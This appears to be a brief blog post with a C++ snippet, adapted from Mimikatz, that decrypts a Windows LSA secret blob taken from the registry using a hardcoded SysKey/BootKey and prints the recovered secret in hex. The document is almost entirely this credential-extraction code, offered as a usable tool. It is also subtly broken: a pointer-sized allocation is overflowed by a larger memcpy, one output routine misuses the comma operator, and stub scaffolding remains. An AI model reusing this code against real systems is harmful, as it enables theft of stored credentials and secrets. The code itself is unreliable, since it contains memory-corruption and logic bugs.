So yesterday I took a few hours to throw together this sniblet after reviewing MimiKatz source code. This code takes a Blob that is in DPAPI format (Stright from the registery and decode’s it with the Key given. This key is your SysKey/BootKey.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 |
#pragma comment(lib, "crypt32.lib") #include "stdafx.h" #include <iostream> #include <stdio.h> #include <tchar.h> #include <windows.h> #include <wincrypt.h> #include <minwindef.h> #define AES_256_KEY_SIZE (256/8) #define LAZY_NT6_IV_SIZE 32 typedef struct _NT6_CLEAR_SECRET { DWORD SecretSize; DWORD unk0; DWORD unk1; DWORD unk2; BYTE Secret[ANYSIZE_ARRAY]; } NT6_CLEAR_SECRET, *PNT6_CLEAR_SECRET; typedef struct _NT6_HARD_SECRET { DWORD version; GUID KeyId; DWORD algorithm; DWORD flag; BYTE lazyiv[LAZY_NT6_IV_SIZE]; union { NT6_CLEAR_SECRET clearSecret; BYTE encryptedSecret[ANYSIZE_ARRAY]; }; } NT6_HARD_SECRET, *PNT6_HARD_SECRET; typedef struct _GENERICKEY_BLOB { BLOBHEADER Header; DWORD dwKeyLen; } GENERICKEY_BLOB, *PGENERICKEY_BLOB; BOOL kull_m_crypto_hkey(HCRYPTPROV hProv, ALG_ID calgid, LPCVOID key, DWORD keyLen, DWORD flags, HCRYPTKEY *hKey, HCRYPTPROV *hSessionProv) { BOOL status = FALSE; PGENERICKEY_BLOB keyBlob; DWORD szBlob = sizeof(GENERICKEY_BLOB) + keyLen; if (calgid != CALG_3DES) { if (keyBlob = (PGENERICKEY_BLOB)LocalAlloc(LPTR, szBlob)) { keyBlob->Header.bType = PLAINTEXTKEYBLOB; keyBlob->Header.bVersion = CUR_BLOB_VERSION; keyBlob->Header.reserved = 0; keyBlob->Header.aiKeyAlg = calgid; keyBlob->dwKeyLen = keyLen; RtlCopyMemory((PBYTE)keyBlob + sizeof(GENERICKEY_BLOB), key, keyBlob->dwKeyLen); status = CryptImportKey(hProv, (LPCBYTE)keyBlob, szBlob, 0, flags, hKey); LocalFree(keyBlob); } } else if (hSessionProv) { return NULL; //status = kull_m_crypto_hkey_session(calgid, key, keyLen, flags, hKey, hSessionProv); } return status; } wchar_t * outputBuffer = NULL; size_t outputBufferElements = 0, outputBufferElementsPosition = 0; PCWCHAR WPRINTF_TYPES[] = { L"%02x", // WPRINTF_HEX_SHORT L"%02x ", // WPRINTF_HEX_SPACE L"0x%02x, ", // WPRINTF_HEX_C L"\\x%02x", // WPRINTF_HEX_PYTHON }; void kprintf(PCWCHAR format, ...) { int varBuf; size_t tempSize; wchar_t * tmpBuffer; va_list args; va_start(args, format); if (outputBuffer) { varBuf = _vscwprintf(format, args); if (varBuf > 0) { if ((size_t)varBuf > (outputBufferElements - outputBufferElementsPosition - 1)) // NULL character { tempSize = (outputBufferElements + varBuf + 1) * 2; // * 2, just to be cool if (tmpBuffer = (wchar_t *)LocalAlloc(LPTR, tempSize * sizeof(wchar_t))) { RtlCopyMemory(tmpBuffer, outputBuffer, outputBufferElementsPosition * sizeof(wchar_t)); LocalFree(outputBuffer); outputBuffer = tmpBuffer; outputBufferElements = tempSize; } else wprintf(L"Erreur LocalAlloc: %u\n", GetLastError()); //if(outputBuffer = (wchar_t *) LocalReAlloc(outputBuffer, tempSize * sizeof(wchar_t), LPTR)) // outputBufferElements = tempSize; //else wprintf(L"Erreur ReAlloc: %u\n", GetLastError()); } varBuf = vswprintf_s(outputBuffer + outputBufferElementsPosition, outputBufferElements - outputBufferElementsPosition, format, args); if (varBuf > 0) outputBufferElementsPosition += varBuf; } } //vwprintf(format, args); va_end(args); // } void kull_m_string_wprintf_hex2(LPCVOID lpData, DWORD cbData, DWORD flags) { DWORD i, sep = flags >> 16; PCWCHAR pType = WPRINTF_TYPES[flags & 0x0000000f]; if ((flags & 0x0000000f) == 2) std::cout << L"\nBYTE data[] = {\n\t"; for (i = 0; i < cbData; i++) { std::cout << pType, ((LPCBYTE)lpData)[i]; if (sep && !((i + 1) % sep)) { std::cout << L"\n"; if ((flags & 0x0000000f) == 2) std::cout << L"\t"; } } if ((flags & 0x0000000f) == 2) std::cout << L"\n};\n"; } void kull_m_string_wprintf_hex(LPCVOID lpData, DWORD cbData, DWORD flags) { DWORD i, sep = flags >> 16; PCWCHAR pType = WPRINTF_TYPES[flags & 0x0000000f]; if ((flags & 0x0000000f) == 2) printf("\nBYTE data[] = {\n\t"); for (i = 0; i < cbData; i++) { //kprintf(pType, ((LPCBYTE)lpData)[i]); printf("%02x", ((LPCBYTE)lpData)[i]); if (sep && !((i + 1) % sep)) { kprintf(L"\n"); if ((flags & 0x0000000f) == 2) kprintf(L"\t"); } } if ((flags & 0x0000000f) == 2) kprintf(L"\n};\n"); } int main() { std::cout << "Hello World!\n"; BOOL status = FALSE; BYTE keyBuffer[AES_256_KEY_SIZE]; DWORD i, offset, szNeeded; HCRYPTPROV hContext; HCRYPTHASH hHash; HCRYPTKEY hKey; PBYTE pKey = NULL; PNT6_HARD_SECRET hardSecretBlob = (PNT6_HARD_SECRET)LocalAlloc(LPTR, sizeof(PNT6_HARD_SECRET)); BYTE key[] = { 0xed, 0xbc, 0x23, 0x26, 0xf8, 0x21, 0xe9, 0x6a, 0xbc, 0x38, 0x34, 0x7a, 0xfa, 0xbd, 0x1c, 0x90, 0x18, 0xf2, 0x24, 0xf5, 0x82, 0xe9, 0x00, 0xac, 0xf8, 0x41, 0x6f, 0xdb, 0x03, 0xe8, 0xac, 0xd4 }; BYTE FullBlob[] = { 0x00, 0x00, 0x00, 0x01, 0xdd, 0x7b, 0xe8, 0xa2, 0x48, 0xd1, 0x45, 0x0b, 0x29, 0xf7, 0x6f, 0xd2, 0x93, 0x88, 0x16, 0x63, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd6, 0x2c, 0x25, 0x10, 0x31, 0x73, 0x57, 0xba, 0xb4, 0x86, 0x6f, 0xb4, 0x8c, 0xd7, 0xe2, 0x8a, 0xb8, 0x6d, 0x22, 0xf6, 0x6d, 0xa3, 0x61, 0xb4, 0x3c, 0xa9, 0xec, 0x48, 0x72, 0x96, 0xcf, 0x9a, 0xad, 0xc2, 0xc6, 0x72, 0x26, 0x91, 0xa4, 0x99, 0x51, 0x8a, 0x54, 0xf8, 0xc2, 0xdf, 0x1e, 0x3a, 0x8d, 0xf4, 0x5e, 0xd3, 0xff, 0xad, 0x18, 0x9d, 0xb7, 0x2b, 0x06, 0xc2, 0x75, 0xb1, 0xb5, 0xc7, 0x3d, 0x52, 0xc1, 0x40, 0x17, 0xd0, 0x75, 0x3a, 0x64, 0x9f, 0x99, 0x3e, 0xa4, 0x95, 0xd2, 0x4e }; memcpy(hardSecretBlob, FullBlob, sizeof(FullBlob)); DWORD hardSecretBlobSize = sizeof(FullBlob); pKey = key; szNeeded = 32; //Keysize is always 32 if (CryptAcquireContext(&hContext, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { if (CryptCreateHash(hContext, CALG_SHA_256, 0, 0, &hHash)) { CryptHashData(hHash, pKey, szNeeded, 0); for (i = 0; i < 1000; i++) CryptHashData(hHash, hardSecretBlob->lazyiv, LAZY_NT6_IV_SIZE, 0); //kull_m_string_wprintf_hex(hHash, 64, 0); szNeeded = sizeof(keyBuffer); if (CryptGetHashParam(hHash, HP_HASHVAL, keyBuffer, &szNeeded, 0)) { if (kull_m_crypto_hkey(hContext, CALG_AES_256, keyBuffer, sizeof(keyBuffer), 0, &hKey, NULL)) { i = CRYPT_MODE_ECB; if (CryptSetKeyParam(hKey, KP_MODE, (LPCBYTE)&i, 0)) { szNeeded = hardSecretBlobSize - FIELD_OFFSET(NT6_HARD_SECRET, encryptedSecret); status = CryptDecrypt(hKey, 0, FALSE, 0, hardSecretBlob->encryptedSecret, &szNeeded); kull_m_string_wprintf_hex(hardSecretBlob->encryptedSecret, szNeeded, 0); if (!status) std::cout << "CryptDecrypt"; } else std::cout << "CryptSetKeyParam"; CryptDestroyKey(hKey); } else std::cout << "kull_m_crypto_hkey"; } CryptDestroyHash(hHash); } CryptReleaseContext(hContext, 0); } } |